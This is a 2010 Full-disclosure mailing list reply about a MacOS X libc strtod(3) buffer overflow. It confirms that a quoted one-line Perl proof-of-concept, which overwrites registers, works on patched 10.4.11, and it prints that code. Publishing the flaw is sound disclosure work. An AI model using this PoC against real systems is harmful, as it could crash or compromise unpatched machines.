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full-disclosure-uk: Re: [Full-disclosure] MacOS X 10.5/10.6 libc

Re: [Full-disclosure] MacOS X 10.5/10.6 libc/strtod(3) buffer overflow

From: Joshua Levitsky <jlevitsk_at_nospam>
Date: Tue Jan 12 2010 - 17:54:23 GMT
To: full-disclosure@lists.grok.org.uk


On Mon, Jan 11, 2010 at 12:26 PM, Maksymilian Arciemowicz < cxib@securityreason.com> wrote:

>

Could you check perl PoC ?
> It should overwrite esi and edi register
>
> esi=0x41414141
> edi=15
>
>

The perl PoC worked on 10.4.11 fully patched.

http://securityreason.com/achievement_securityalert/63

Example 0:
- --- chujwamwmuzg.pl ---
#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;
- --- chujwamwmuzg.pl --- -- Joshua Levitsky, MCSE, CISSP http://www.jnuxhosting.net http://www.jnux.net http://blog.joshie.com/ [5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41 D4D1]

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